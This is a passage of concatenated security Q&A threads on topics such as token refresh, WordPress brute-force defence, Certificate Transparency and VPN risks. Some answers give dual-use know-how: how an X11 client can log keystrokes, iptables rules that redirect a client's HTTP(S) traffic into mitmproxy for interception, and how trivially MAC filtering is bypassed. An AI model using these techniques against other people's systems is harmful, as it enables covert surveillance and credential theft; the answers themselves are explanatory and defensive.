But, how to best practice to refresh auth token in this case?

Access tokens should be refreshed frequently in general.

With traditional sessions, everytime a user makes a request to your app and sends his sessionId via cookie or http-header, you check the session if it is still valid (get the session by its id from the database or memory and check if the "active"-column is "true"). In addition, you can invalidate the session on your server everytime you want (set the "active"-column of this particular session to "false"). For example when the users account gets compromised, you can invalidate all active sessions associated to this specific user.

With access tokens, this can't be done this way, because you don't have a session on the server. The server just gets the access token, checks its signature and the expiration date, and thats it. Lets assume your access token has an expiration time of 24 hours. When an active user gets compromised, you are not able to invalidate his "sessions", because there are none. There are just a bunch of access tokens in the wild which where issued for this user (at a time when the users account was not compromised yet). So you have an app with an compromised user and a number of valid access tokens associated with this particular user wich are valid for the next 24 hours - good luck! I'm curious about how far the hacker gets in this 24 hours.

So what you typically want to do is refresh the token frequently. How to implement this in detail depends heavily on your use case and can't be answered in a general manner. Maybe you can check out the OAuth2 protocol which introcudes the refresh token. In short, a refresh token can issue new access token for a specific user. That way, you can achive short expiration times for your access token without annoying the user with a re-authentication process.

For your specific case, I would say that you can't handle the "event" when a user has changed his password. A user issues an access token - at this moment, the token gets created and is valid until the expiration time has come. What happens until this moment doesn't matter.


Are there any proposals for email verification without a confirmation email? Being able to confirm your email without waiting for a verification email would be a major improvement to many registration processes. In theory this could be done using a technique based on OAuth, OpenID or similar. Of course, both the site and the email provider would need to support this, in a compatible way.

This leads me to wonder: Have there been any proposals to do this?

Edit OAuth has similar functionality is that email can be auto-filled. However, this does not verify the email. If OAuth provider on foo.com says a user's email is user@bar.com then we have to either trust the provider, or reverify. However, the OAuth provider on foo.com can confirm an email address like user@foo.com.

BrowserID is a mechanism that allows websites to confirm the e-mail address of a user without each website needing to send an e-mail.  Mozilla Persona added the ability to do so in a less centralized way that enhances privacy somewhat however it did still require central servers that Mozilla no longer provides.

Alternatively an X509 client-cert that includes the e-mail address would work although it raises the bar somewhat as regards ease of use.


How to protect WordPress from brute-force attacks? One of my WordPress sites is being constantly attacked with brute force. I have the WordFence and Clef plugins installed. The number of login attempts is limited to just one. The password is very strong, the username is not an "admin". With the Clef plugin configured I wonder how attackers can even access the login & password form? But somehow I keep getting notifications from WordFence about blocked attempts. Is there any way to prevent this attacks? Are these layers of security enough?
Update:
Here's the notification example from WordFence:

A user with IP address {IP} has been locked out from the signing in or using the password recovery form for the following reason: Used an invalid username 'admin' to try to sign in.
User IP: {IP}
User hostname: {host-name}
User location: {country}

Also, in the logs, I can see requests to xmlrpc.php file.
Clef is kind of useless, I guess, because once you fail to login with the app, the normal login form will be displayed.
Is it possible to block the access to wp-login for everybody, and keep it reachable only with some kind of secret token like Clef's override feature:
http://your-site-name.com/wp-login.php?override=fhfd87382rfjsh0

If you have an access to the server then you can install fail2ban.

You will need to set up jail for the wordpress /etc/fail2ban/jail.d/wordpress.conf

[wordpress]
enabled = true
filter = wordpress
logpath = /var/log/auth.log
port = http,https

$ service fail2ban restart

For more details check Bjørn Johansen: Using fail2ban to block WordPress login attacks.

Make sure that you are not using default username (admin), and use strong password.

Another way to protect against brute force attack is to make restriction on wp-login

<Location /wp-login.php>
                Order deny,allow
                deny from all
                allow from 192.168.1.1 <- put your ip here
</Location>

Another solution is to protect wp-login with htaccess:

# Protect wp-login
<Files wp-login.php>
AuthUserFile ~/.htpasswd
AuthName "Private access"
AuthType Basic
require user mysecretuser
</Files>

More about protection against brute force attacks you can find here:
https://wordpress.org/support/article/brute-force-attacks/


Client is not storing Credit Cards Securily (near plain text). How do I convince client to be more secure? I am writing in regards to PCI-DSS compliance for taking credit cards. A client of mine is not willing / does not want to bump up security beyond what is currently done for their credit card data. All data is currently being stored on a server's MySQL database until it is run through the merchant system manually. Currently, only the credit card number is being encrypted, and only that is using using basic MySQL ENCODE() with an short string as the key. The rest of the information is plain text.

Personally, I am not comfortable with this low level security and they are pushing back for bumping up the security. What should I do / what can I do to explain, encourage, or force PCI DSS compliance or at least a higher level of security?

We are using PHP 5.2 and MySQL (sorry, forget the version number)

If nothing else, is there a way to encrypt it with PHP or MySQL that will be more secure but minimize the work for the client to be more secure.

You tell them what you know, and then you let them make the decision they want to make. Unless you've been hired to do their PCI audit, this probably isn't your fight. Put together a report explaining the relavant threats and potential issues so that both you and they have it in writing, and then you're done. Specifically, you may want to let them know what sort of attacks they're properly defending against, and what sort of attacks they are not properly defending against as well as what the ramifications may be.

In the end, though, your role is as a consultant, not any sort of enforcement capacity. If you push any further than just giving them advice, you put yourself at significant risk with really zero reward.


How does a malware overcomes this facility I've seen many viruses/malicious VB scripts get executed when accidentally double clicked or through fake shortcuts redirecting to some viruses causing the Victim's PC a serious damage. But nowadays latest windows distributions like Windows 8.1, 10 have this feature,

This feature in windows is extremely good because it shows what is actually executed even the name of the exe so one could easily find out what they are actually executing.
I have also created the shortcut before executing the application and the feature works fine still. But unfortunately running a full scan in my PC with Kaspersky Total Security 2016 which is not a trial version I found that my PC has been infected by a virus and I removed. Since I'm paranoid of security I run scan weekly once I analyzed all the files i have downloaded from the internet on that week and found that the virus came along with the zip package. The virus wasn't bundled it is itself found as an separate executable and I have executed by clicking a file. but why does this message(shown by windows failed) to warn me? I have scanned the zip file with my antivirus before opening it and it said me no threats found but fortunately found on heuristic analysis when completely scanned my PC. I'm quiet sure it's not a false positive because I done a Virus Total analysis.
P.S
I'm not blaming Windows but I just want to know how does a malware overcomes this facility.
(Off topic but important for security) Free upgrade for Windows 10 ends on 29th of July.

This is likely due to a lag between malware developers and your antivirus database. Kaspersky had to see and identify this as malware before it could be added to their database (then flagged by your scan). So the first time you scanned this zip file, it came back clean. But by the second time you scanned it Kaspersky had found it and updated your local antivirus about it, allowing it to be caught.


Is it possible to do exploit-free Linux keylogging with non-root client-only X Windows access? Lets say that on a Linux system I use bubblewrap to sandbox an application and give it write access to /tmp/.X11-unix so that it can be an X Windows client.  Is it possible for the sandboxed application (without using any X server exploits) to invisibly log keystrokes that go to other applications?  On the one hand, the Linux keystroke logger logkeys requires root access to one of the /dev/input/event# devices.  On the other hand xhotkeys can, without any root privileges, intercept arbitrary keystrokes, so maybe the sandboxed app could similarly intercept arbitrary keystrokes and then re-post the event as a synthetic event so that the it goes through to the intended recipient.

EDIT: If it is possible for the sandboxed app to do keystroke logging with just an X Windows client connection, can this be prevented by launching a nested X server and only giving the sandbox access to the nested server?

Yes, it is possible to do keystroke logging with just an X11 connection. The two common ways to do this are to use the XTEST extension, or to use XQueryKeymap(), which returns the current state of the keyboard. As an X11 connection just goes over a socket, if a process has access to the X11 cookie and can authenticate itself with Xorg, it will be able to monitor (and inject) keystrokes.

Using a nested X server would protect from this (though I would recommend Xephyr rather than Xnest, as the latter is deprecated). You would have to give the sandboxed process access to the nested server's X11 cookie, and prevent it from accessing the root X11 cookie.


CVE-2017-7529 - Exploit details? https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7529

Where can I find the exploit details for this CVE? Usually sites like exploit-db.com include the PoC exploit for a given vuln but I can't find it for this nginx CVE.

You can find it here:

https://github.com/nixawk/labs/issues/15

Most CVE proof of concept (PoCs) can be found on exploit-db, Github or Security Focus.


OAuth2 - Authorization Code Flow - Do I really Need this for simple login/authentication? I have been reading a lot about OAuth 2 flow recently, and I wanted to ask if this is applicable to the app that I am building, and what type of security I should be using.

Context

We have a native ios/android and angular SPA app.
We build/own/control our own backend apis, and only our frontend apps can(should) communicate with these apis.
User logs in on a form, we validate credentials on backend, and return a JWT back, which is then used for subsequent requests. Access to most apis is restricted to logged in users, other apis are open to the net to allow users to register.

I cannot see a use case here for OAuth here, however, everything I am reading seems to suggest that it is required. We will not be delegating access to third party systems, we simply only want to validate our own customers, and only allow them to access our apis via our front end apps, after they have logged.

Is the approach I have outlined which we are currently doing correct, or do I need to implement OAuth Authorization Code flow, and if so can you please explain why ?

seems to suggest that it is required

  do I need to implement OAuth Authorization Code flow ... ?

I suppose that your understanding of software development is not correct.

Who requires you to implement that?

As far as I understand you control both sides - client and server. Then it is you who decides what should be done. If you develop software for some customer and this customer gave you the list of requirements, and this includes OAuth2, then it is really required. Or you are developing clients (mobile, SPA) for some existing server application which only supports OAuth2. Then you are really required to implement OAuth2. Otherwise it is not required. It is up to you what authentication mechanism you implement.

What should you do? Take several solutions and compare them from different points of view: Security risks (what are possible attacks, how probable they are, what can be the costs in case of successful attack), the complexity and the costs of implementation of each method, the costs to maintain it, the costs of support, usability, performance, how much money you can actually spend on it, etc. Then you will see what is the optimal solution in your case.

Update

There is no THE best practice. I have to repeat that: it depends on the context, it depends on what are your risks, on what are you requirements to usability, on what price can you pay, etc. This is very naive to look for simple answer.

In many companies the best practice is to use simple one step login where each application is itself responsible for the authentication. Any login issues are analyzed and resolved much quicker than in case of other solutions.
In many companies the best practice is to have a separate service for authentication, e.g. based on OAuth or based on JWT.

In many companies the best practice is to use 2F authentication based on OTP token like RSA SecureID token.
In many companies the best practice is to use 2F authentication based on authenticator app like MS authenticator or Google authenticator.
In many companies the best practice is to use 2F authentication based on tokens like YubiKey or Titan.
In many companies the best practice is to use 2F authentication based on photo TAN.

There is no THE best practice.

One of the very secure methods is using of 2F auth. with RSA SecureID or YubiKey. Are you or your customers ready to buy an RSA SecureID or YubiKey for every user? To pay for corresponding infrastructure? To pay for support (you need a stuff that will support users, answer their questions, analyze their cases, reset their blocked accounts, etc.)

Is it too expensive to you? This is important constraint. Then write that in your question, that your budget is limited with X USD

I mentioned usability. Is it too complex for your users? Do they want to have simpler login process? Then 2F is not for you. But again, write that in your question that usability has very high priority.

Do your users need SSO? If they do, then with OAuth or JWT you have SSO out-of-the box (the amount of code to implement is relatively small), where as with other mechanisms you have to implement much more. So OAuth or JWT can be preferable in such case.

What is your requirement on performance? Depending on your requirements and your infrastructure it can be that OAuth is too slow for your requirements. Test it on your real environment with some realistic load (number of users per second). Then you will see if OAuth fits your performance requirements.


How secure are free proxy and VPN? Preamble:
I live in Russia where some web sites (linkedin e. g.) are blocked by government (Roskomnadzor). So I and many citizens use popular free browser-extensions (and mobile apps from same brands) like Hola or FriGate.

As far as I can understand browser plugins use webRequest API (from WebExtensions API) and mobile apps simply install VPN profile to the device.

I see two possible vulnerabilities:

Reading the whole traffic (MITM)
Reading DOM (only applies to browser extensions). The extension may read all forms' input and steal your credentials.

There is nothing I can do with DOM reading, but I believe that it is pretty safe to enter your password with this extensions on.

But I fear of MITM attack. Is Hola for example able to read the content of TLS-secured connections in both mobile and web edition? Does browser extension create a tunnel with some point-to-point L2 protocol or redirect http requests? Who is validating the certificates: browser or extension?

I cannot speak on FriGate or other freemium VPN services, though I have used payed services without any issues and will provide some alternatives at the end of the answer.

Hola, at least the free version, works by allowing your computer to be a node within a P2P system of sharing bandwidth when idle, this way helping people to bypass geo-restrictions on content, which sounds like what you are after. As a participant in this network, you are responsible for helping to further route the traffic of other Hola users, which- as they state on their FAQs- is unfortunately not always fully encrypted. And since other Hola users' traffic is being proxied through you, any malicious or otherwise disruptive behavior that might get them ordinarily blacklisted from a website now is associated with your IP, potentially resulting in you not being able to access content due to the actions of this peer.

The best article I've read that about the Hola service provides an in-depth technical analysis of the VPN offering and is authored by AI-powered threat research company, Vectra.

In my mind the single biggest takeaway from the article was that the Hola VPN service is allowed to download additional software without the user being notified by the OS or browser due to the creation of its own code-signing certificate on the host system during installation.

Further, Hola, and its parent company, Luminati, have been known in the past to have had the users of their VPN offering serve as unwitting participants in DDoS attacks.

If you are going to use a VPN, it is up to you to determine if the above concerns are worth living with otherwise you may want to consider using a paid offering like PIA or NordVPN.

Further sources for your consideration:

https://www.vpnranks.com/hola-vpn-review/
https://www.pcworld.com/article/2928340/ultra-popular-hola-vpn-extension-sold-your-bandwidth-for-use-in-a-botnet-attack.html
https://lifehacker.com/hola-better-internet-sells-your-bandwidth-turning-its-1707496872


Attack using weird characters followed by some javascript in a URL? I'm seeing a very weird attack this morning from a pile of VPS instances spread out across the US. The URLs look like this:

/js/bundles/,!0):this.element.propAttr(
/js/bundles/&this.buttons.button(
/js/bundles/),this===i&n(this).addClass(
/js/bundles/)&!t.input.is(
/js/bundles/&(f=i.end-i.start==0?0:(i.now-i.start)/(i.end-i.start));t.toShow[0].style[i.prop]=f*u[i.prop].value+u[i.prop].unit},duration:t.duration,easing:t.easing,complete:function(){t.autoHeight||t.toShow.css(

What on earth are those ,!0): and & supposed to do? I can't imagine that that would say anything effectively malicious to a server, unless this is exploiting some egregious server bug or the intended victim is not the server at all.

There seem to be a wide spread of environments for these bots -- some of them are XP, some are Vista, some are Windows 7. I've seen IE7, 8, and 9, as well as Chrome and Safari. I even saw an LG feature phone that said it was running Windows NT 5.1 and IE8. None of them have any referrer URLs, so I can't figure out what page they previously viewed on our site.

(/js/bundles is where we keep our bundled assets, by the way.)

My question is: does anyone know what (server, browser, etc) these attacks are meant to exploit? They seem to be attempts at XSS exploits, but they're not very well-formed. ASP.NET seems to be catching them, though, so I'm not too worried.

(Another possibility is that they're just a really buggy spider doing its thing.)

Those URLs look a lot like a buggy crawler and very little like an exploit attempt.

A properly formatted hyperlink will start something like . The interesting part is what is between the " characters. A lazy coder might just look for pairs of " characters and not pay attention to the context at all.

Depending on the structure of the URL, it may be an absolute or a relative URL. I have seen plenty of examples of crawlers incorrectly using an absolute URL as if it was a relative URL. That's another example of how they may get URLs wrong, though I'm not sure if that part applies to your case.

If /js/bundles/ contained a link looking like , that might be interpreted as a relative link pointing to /js/bundles/,!0):this.element.propAttr(. Of course the file didn't contain a link looking exactly like that, but it may have contained the sub string ",!0):this.element.propAttr(", and to a lazy crawler only looking for " characters those two would be the same.

For each of the code fragments in your example you can ask yourself, is it realistic that this would have been found in a context where it was surrounded by " chars. I think it is.

The reason I think it looks very little like an exploit attempt is that those fragments of code could not be executed on their own. If you were to actually try running that code, you'd get syntax errors because parts were missing. Actual exploit attempts usually contains some piece of code, but they contain enough code that the code could actually execute.


RC4 bias protection with padding in TLS On the answer to my previous question about RC4 vulnerabilities in TLS, Thomas Pornin gave a great answer, in which he said:

  One way to "fix" RC4, which has been suggested many times, is to drop the first 256 (or 512 or 1536 or whatever) bytes of output, since these are the most biased of them (the graphics in the slides show that quite clearly). But this would not be compatible with RC4-as-we-know-it

Curious by this and a comment on HN which makes an interesting suggestion, I am wondering if the browser (or even a browser plugin) can pad HTTP requests, so that the first 256 bytes (or 512 or whatever) are just some useless header. e.g.

GET / HTTP/1.1
X-Padding-Header: <256 bytes of random text>
Accept: */*
...

As far as I'm aware unknown headers are ignored(?), and this would ensure the first bytes in the request are both useless (no value in guessing them) and random.

Is this a silly workaround that might create more harm than good? Or if browsers are going to fix it they might as well upgrade to TLS 1.2?

(p.s. of course if the URL itself contains sensitive information and is long enough, it will be present in the request before the header, so this "protection"  might not help with this, but maybe just good enough to protect the cookies?)

As @D.W. points out, this would work -- to protect the cookie. The path itself comes before the headers, and may also be at risk, if it contains sensitive data at a predictable place (this is not a common case nowadays, but URL rewriting for session management used to be popular).

A variant would look like this:

GET / HTTP/1.1
X-Header-Padding1: <X random padding bytes>
Accept: */*
Cookie: ...
...
X-Header-Padding2: <Y random padding bytes>

By choosing X and Y randomly, but such that X+Y is fixed, the emplacement of the cookie in the stream would change between requests, in a way which attackers cannot detect (since the total length of the headers is constant). While not as satisfying as simply dropping the first 256 bytes of the request, this ought to be enough to bring back the effort of bias-based attacks into the billions of requests, instead of millions, and it could be done with less than 256 extra bytes per request (having X+Y = 32 should do that).


Would client side hashing provide security from a comprised server I've been reading about hashing and encryption so I can make more informed decisions.

I already know the benefits of ssl and password hashing serverside as best practises. However I was wondering, as a platform holder, whether it would be better for my users for them never to have sent my server their passwords in their original form. I.e type password, hash on client, send over ssl, hash with salt to database... rehash on client and server and compare on login.

Would this enable a service to claim to never having had a users password at all in a way?

UPDATE
This was marked as duplicate, but my question is concernd with protecting the password from the service itself, not any man in the middle attack. With SSL or plain text to the server, the server gets the password. Is there a way of sending a password / or loggin without the server knowing the password. hope that makes sense :)

Your proposed scheme "works", but it achieves nothing. If a cracker obtains your database, they will still be able to guess-and-check potential passwords for users. The salt used when you hash on the client side has to be the same each time (otherwise the same user wouldn't be able to log in again with the same password).


Fully transparent proxy By default, mitmproxy will use its own local IP address for its server-side connections. What I want instead is mitmproxy to use the client’s IP address for server-side connections.

The following config is supplied to make this work:

CLIENT_NET=192.168.1.0/24
TABLE_ID=100
MARK=1

echo "$TABLE_ID     mitmproxy" >> /etc/iproute2/rt_tables
iptables -t mangle -A PREROUTING -d $CLIENT_NET -j MARK --set-mark $MARK
iptables -t nat \
    -A PREROUTING -p tcp -s $CLIENT_NET \
    --match multiport --dports 80,443 -j \
    REDIRECT --to-port 8080

ip rule add fwmark $MARK lookup $TABLE_ID
ip route add local $CLIENT_NET dev lo table $TABLE_ID

Mitmproxy is listening on the router (192.168.178.40) on port: 8080

However, my setup consists of a custom Debian router with 2 NICs.

One internet-facing wlp2s0 (also used to SSH into it) with address: 192.168.178.40
One NIC set as default gateway enp4s0 for the target client at: 10.0.0.1

The client connects to the default gateway with the address 10.0.0.12

By default I use the following IP table rules to redirect my client traffic to port 8080:

sudo iptables -t nat -A PREROUTING -i enp4s0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i enp4s0 -p tcp --dport 443 -j REDIRECT --to-port 8008

While this works as intended, I'd like to be able to spoof the client source address so that the HTTP(S) requests captured match the TCP packets and other traffic also coming from the client.

Here's a picture to visualize my setup because I am pretty horrible at explaining:

By default mitmproxy will use its own local IP address for its server-side connections. What I want instead is mitmproxy to use the client’s IP address for server-side connections.

On most setup (Attacked host / Attacker host on the same LAN, both behind an internet router, destination site on Internet), your problem is not one, basically because internet host will always see your internet router public address.

The only setup where it's a problem is if the destination site is on the same LAN.
In this case, as already said by @antonio-zunic, the only way to achieve this is by doing ARP-spoofing.


Protect SSL connections from MITM for users with modified clients I'm working on a web app that uses SSL. I'm afraid that some people might access the app via a network that uses a proxy to intersect and inspect the SSL traffic [MITM].
Some people might access the application from a browser that has the Proxy's CA in the trusted cert store.

Is there any way for me to protect against this MITM attack server side? Like have the server check the client to ensure the right client is being used. I believe that the Microsoft Partner Federated Access Portal has protection similar to this. Would HSTS be effective if the Proxy's CA is in the trusted store?

Would HSTS be effective if the Proxy's CA is in the trusted store?

The public key pinning built into Chrome and Firefox is ignored if the certificate is signed by a CA which was explicitly imported by the user (i.e. trusted but not built in). This is to support the common use case of legal SSL interception in security devices and software, i.e. to detect malware even in encrypted connections.

I'm not sure about the HSTS header, but I assume that the behavior would be the same.

  Is there any way for me to protect against this MITM attack server side?

You can not detect which CA gets used on the client side. What you can do is to require a client certificate. Both legal and illegal MITM will not be able to  transport the original client certificate through the MITM so they will either fail (in most cases) or they need to rewrite the client certificate too which you can detect on the server side.

Of course even with requesting a client certificate you will not be able to detect clients where some software (malware or not) gets access to the decrypted traffic by injecting into the browser directly, i.e. using browser extensions or DLL injection or similar techniques.

  Like have the server check the client to ensure the right client is being used.

All you can do on the server is ask the client and check the answer. Since the client can lie to the server you could make it hard to lie by obfuscating the code and then asking for things which can be only answered by the client executing the code in the right way. But this can be the right client, the wrong client which understood the obfuscated code or the wrong client just instrumenting the original code.

What you really want is a remote attestation that you not only deal with an original unmodified client but that also no other process can somehow control the behavior of this client. To get this you have to start much deeper, i.e. usually you already need to have control of the clients hardware etc. I recommend that you look into the techniques they've tried to harden XBox and Playstation so that only original and unmodified games can be played and how often ways were found to evade the protection techniques. Or how Sony tried to control their customers PC to prohibit the ripping of their CD's by silently infecting the PC with a root kit.


How does malware performs a UDP hole punch? I want to know how do malware like ZeroAccess hole punch the network without using a external server?

Or do they just mainly infect non-NAT users? Does that mean all NAT users are safe?

I want to know how do malwares like ZeroAccess hole punch the network without using a external server?

ZeroAccess uses a P2P structure with no single central server. While most of the nodes can be behind a NAT some super nodes need to be not behind a NAT so that they can be reached from the other nodes (behind NAT) and relay communications. That means the nodes behind NAT simply open a connection from inside to any of the external super nodes and using this connection data can be sent back to the node. This is  the usual way of how P2P networks work and not specific to ZeroAccess.

This paper from Sophos describes ZeroAccess and their communication model in more detail.


Risks of Microsoft Remote Desktop access behind a secure VPN This is mostly for my own education, but a scenario has came up at work that has me skeptical. I'd like for the security experts to tell me if this policy is overbearing or not.

I remote into a VPN from my home PC, non-company issued. It installs Aventail onto the machine and destroys all cached data upon log off. It also does some sort of scanning via Sonicwall. My question is this: The VPN gives me full network access, which includes the ability to remote into my work PC. The company is now turning this off, citing a huge security risk. Is that really true? If someone already has my login to the VPN and it gives them full network access, isn't that already putting the company into DEFCON 1 mode? Is the whole RDP thing really a major additional risk after that? I'm not really seeing the reasoning behind it, but hopefully someone can shed some light on it.

It's strict, but I wouldn't say it's overbearing.

Let's say there are two ends of the pool, with corporate networks.  On the shallow end it's wide open, with no internal firewalls between desktops and servers.  You can go to any app, any server, any port, from anywhere.  On the deep end, networks are segmented and access controls enforced.  Only Finance can go to the Finance servers.  Everybody can go to port 443 on the Wiki server, only the admin network can go to port 22.  Things like that.

In all but the shallowest networks, remote access users are considered the least trusted.  Any filters in place will be in place for them.  The company doesn't have physical control over those systems, so they don't get the fullest set of access.

Allowing RDP to desktop users is a way of negating that control.  Someone on an untrusted remote PC who can RDP to an internal desktop gains, in essence, trusted access.  And that can be a big problem.  I can remember how Xerox took themselves off the Internet for a week back in the mid-90s because someone broke into an engineer's home in order to sit in front of his PC which had ISDN access to the Xerox internal network.  Took them a week to clean up, and they just shut off the pipes until it was clean.

Now, you'll argue, the fact that secondary credentials is necessary to RDP after you've VPNed is a compensating control.  That's a true point.  But the fact of the matter is, if ACLs of some sort are in place to limit access from VPN users, then RDP is a way to circumvent those limits.  That's why you run into this sort of policy with some regularity.


Does MAC filtering in WLAN protect against MAC spoofing? An organization has a Wireless router with MAC filtering enabled allowing only certain users to connect. If an attacker knows the password and SSID of the WLAN, and he manages to spoof one of the user's MAC address, will the attacker be able to connect at the same time while the user is connected to the WLAN?

Short answer:

  Does MAC filtering in WLAN protect against MAC spoofing?

No, in no way.

  he manages to spoof one of the user's MAC address,

You make it sound like that's a hard thing. The MAC address used by your network card is a setting in the network manager – trivial to change.

MAC addresses of other users can be observed in plain text on the air, which is trivial, too.

  will the attacker be able to connect at the same time while the user is connected to the WLAN?

Yes. But that will confuse the access point, and it will probably throw both out of the network. Which makes no difference – you and the other user will instantly try to register back in.

But usually, any wireless network will be encrypted and will require the user to authenticate with his specific password (WPA2-Enterprise) or at least a pre-shared (i.e. common to all) key (WPA(2)-PSK, WEP). WEP is obsolete, but WPA2 makes it hard (brute-force hard, in fact) to enter if you don't know any password.


sanitizing input/output in php/codeigniter I've been making some progress learning about web application security. Right now I'm trying to finalize my strategy for sanitizing input and output.

Background: Users can submit reviews to the site, and those reviews are displayed in certain views.

1) Posting Data. When posting data (using $this->input->post('review')), I'm concerned about using the XSS filter, because it removes the user data, and it's not possible to retrieve it, so I'm looking for another way to validate the input.

Turns out that for form validation, Codeigniter allows us to "use native PHP functions that permit one parameter." So I can use strip_tags, htmlentities, htmlspecialchars, etc.

Question: Which of these functions would you recommend I use in validating the user input? (or XSS, if you think it's better)

2) Database Queries. I am using CI's Active Record for my queries, so they are automatically escaped (just so you know I thought about and handled this)

3) Data Output. There are several views where output is displayed. I know that I need to escape the output. It usually looks something like this:

<?php echo $review; ?>

Question: Do I simply add a PHP function to the output, like below, or is there something else I should do to prevent any output from executing?

<?php echo htmlentities($review, ENT_QUOTES); ?>

I recommend reading through the resources that OWASP has available.  This is a totally standard subject, and there's a lot written on it.

Make sure you do the input validation on the server.  Don't trust the client to do input validation, since the client can be bypassed.

Input validation: The nature of input validation you do depends upon the type and expected range of possible values for the field.  Usually you'll end up constructing a whitelist of allowed characters and checking that the input contains only those characters; or writing a regexp that characterizes valid inputs and checking against the regexp.  This will likely be different for each input, because it needs to depend upon the type and expected range of values for that input.

You should combine input validation with output escaping.  The proper form of output escaping depends upon where the data is being inserted into the output.  For example, if you are interpolating data into a HTML document in between tags, then use htmlspecialchars to escape the data before inserting it into the HTML document (to prevent cross-site scripting).  On the other hand, if you are inserting a URL, you also need to check that it uses one of a whitelisted set of protocols (e.g., http:, https:; but not javascript:).


How long it takes to receive CVE-ID from cve.mitre.org? I had applied for CVE ID at https://cveform.mitre.org/.
I did followed their guidelines, and did exactly as their instructions said (didn't add PGP key as it seems optional). It's been 2 month since then and all I had received is confirmation letter that they had received my request and it will be reviewed . Then I made another request following their guidelines for issues, and again there is only confirmation letter (i checked spam). At their guidlines/FAQ they don't state how long review takes, what is possible estimate? What to do if I don't receive answer at all?

It seems for most cases cve assigned automatically in next 24 hours. When they have technical issues they post them at https://cve.mitre.org/news/. I had an issue due to badly configured filters in my email. I was able to receive letters from CVE-Request@mitre.org, but not from other *@mitre.org senders. Keep in mind that some mailboxes like gmail can block some emails entirely (so they don't even appear in spam folder).


Is my ISP hosting malware or has it suffered a sub-domain takeover, or is my router compromised? I'm new to this netsec stuff but I wanted to ask an opinion about what is going on here.

I've been doing some web development and have been using Codekit for ages, but recently noticed that it's in-built http server (which relies on mDNS/Bonjour) was replacing the genuine computer name with a domain name that is linked to my ISP (telenet.be).

When I navigated to the url (at first by accident as that's how I discovered the issue) it was blocked by safari as being unsafe. I checked with Google transparency report and it also confirmed it was unsafe:

"https://transparencyreport.google.com/safe-browsing/search?url=http:%2F%2Fptr-7t1s6cghydz54g8s3vv.18120a2.ip6.access.telenet.be"
as well as the subdomain :
"https://transparencyreport.google.com/safe-browsing/search?url=access.telenet.be"

I contacted Codekit who confirmed that all the software does is request the computer name. Using Wireshark I confirmed that was what it was doing, and that the response it got was correct. Although I'm not an expert Wireshark user and reading beyond that may give clues.

Bryan at Codekit mentioned that he believed sometimes ISPs abuse Bonjour on the local network, and that could be happening here.
I concluded that if it was the router behaving badly Google Transparency report would not have flagged it as it would not really be aware of LAN mDNS issues.

I have also noticed another artifact. Codekit can generate a self-signed certificate for using https on it's http server. When I am disconnected from the router, the certificate has the expected DNSName entries when it is generated. However when I connect to the router, when codekit generates the certificate, it includes two additional DNS Names which seem related to the issue:

ptr-7t1s6cghydz54g8s3vv.
ptr-7t1s6cigrgphwg7vz1u.

Also I have tried connecting via a personal hotspot from my phone's 4G service (ie avoiding the router) and the problem does not occur at all. In fact I've tried so many times I'm certain that it isn't my Mac that has the problem, as it probably should occur regardless of how I access the internet. So from this perspective I believe it has something to do with the mDNS bonjour service.

I contacted the ISP to ask them to check their subdomain content, and DNS records and to verify that they were not inadvertantly hosting malware, and to request a replacement router to do an A/B test. I was told at first (no joke) to restart my router. Then they said they'd replace the router for a fee. I should also add that the ISP do not allow direct access to the admin panel of the router, instead you have to go via their website (yes I did say that) to set up port forwarding, network passwords etc...

After many days of conversations and further investigation, I think that there are three likely scenarios, outlined in the title, but my technical abilities on how to deal with this are exhausted. I seem to be going round in circles with the ISP, they either know about this and are not willing to do anything about it, or they just don't have the techncal expertise to understand what is going on.

Hence the post here. Can anyone shed some light on this?

Why you get the strange domain

Your ISP gives you an IP when you connect to the internet. There is a type of DNS record used to link an IP to a hostname (called a PTR record, which explains why the domains you listed all start with ptr). If you visit this site you can see your current PTR record.

Why the 3G internet does not have a hostname

It is possible your 3G IP does not have a PTR record.

Why are these domains treated as malicious

As you can see from the Transparency report, all subdomains of ip6.access.telenet.be are treated as mallicious.

This is probably because either:

Someone on your ISP deliberately hosted a malicious site and got the whole ISP flagged
Someone on your ISP got infected with malware which hosted a malicious site, causing the same effect

References

PTR Record | DNSMadeEasy


How does Certificate Transparance detect fake or forked logs? I am trying to understand Certificate Transparency.

Let's say I want to snoop on somebody's email. So I go hack or bribe a CA, have them issue a certificate for google.com, and then I present it when I MitM the users connection to Gmail. This is the situation that CT is trying to detect, and allow Google find out about the false certificate.

With Certificate Transparency, the users browser will require that I attach a signed certificate timestamp (SCT) proving the the certificate has been added to a log.

First, what stops me from setting up my own log, make the SCT, and never tell Google or anyone else about it?
Can the browser tell if a log is legitimate?
Does the browser or its Auditor component send the SCT to Monitors?

Alternatively I could hack/bribe a log operator to issue an SCT with the tree hashes of it together will all the previous certificates. Then when Google and others query the log for its certificate chain it could pretend that the bad SCT never existed. This would be a fork in the log. Again Google would only find out if the browser (Auditor) sends the SCT to Google or other Monitors.

The CT website mentions that "auditors and monitors exchange information about logs through a gossip protocol", but never goes into any details about how or when.

Specifically, how does the browser (Auditor) know which Monitors to talk to?

First, what stops me from setting up my own log, make the SCT, and never tell Google or anyone else about it?

Nothing.

  Can the browser tell if a log is legitimate?

It's left unspecified in the RFC:

  TLS clients [...] should validate the SCT by [...] using the corresponding log's public key.  Note that this document does not describe how clients obtain the logs' public keys.

(Note: This sentence was removed from section 5.3 the new RFC that's currently in development. I don't know if they replaced it with anything more specific)

But Chrome for example will by default only trust a handful of hard-coded logs:

  By default, Chrome will check SCTs coming from a list of predefined CT logs recognized by Chrome.

.

  Does the browser or its Auditor component send the SCT to Monitors?
  [...]
  Specifically, how does the browser (Auditor) know which Monitors to talk to?

It depends. As per the Gossip RFC draft this would be the Trusted Auditor Relationship type of gossiping. (Which is 1 of 3 types of gossiping proposed. And all of these mechanisms may be used in parallel.)

And the RFC draft goes on to say that:

  The Trusted Auditor Relationship is expected to be the rarest gossip mechanism, as an HTTPS Client is providing an unadulterated report of its browsing history to a third party.  While there are valid and common reasons for doing so, there is no appropriate way to enter into this relationship without retrieving informed consent from the user.

So I guess it's gonna be either manually configured or configured to come from some trusted party (browser manufacturer I guess).

Update 2018-01-26Fri.: @__agwa-Blog.

There's a recent blog post on this topic:

Andrew Ayer, 2018-01-10, How will Certificate Transparency Logs be Audited in Practice? (Archived here.)

It's an in depth technical read. The TLDR is this last paragraph here:

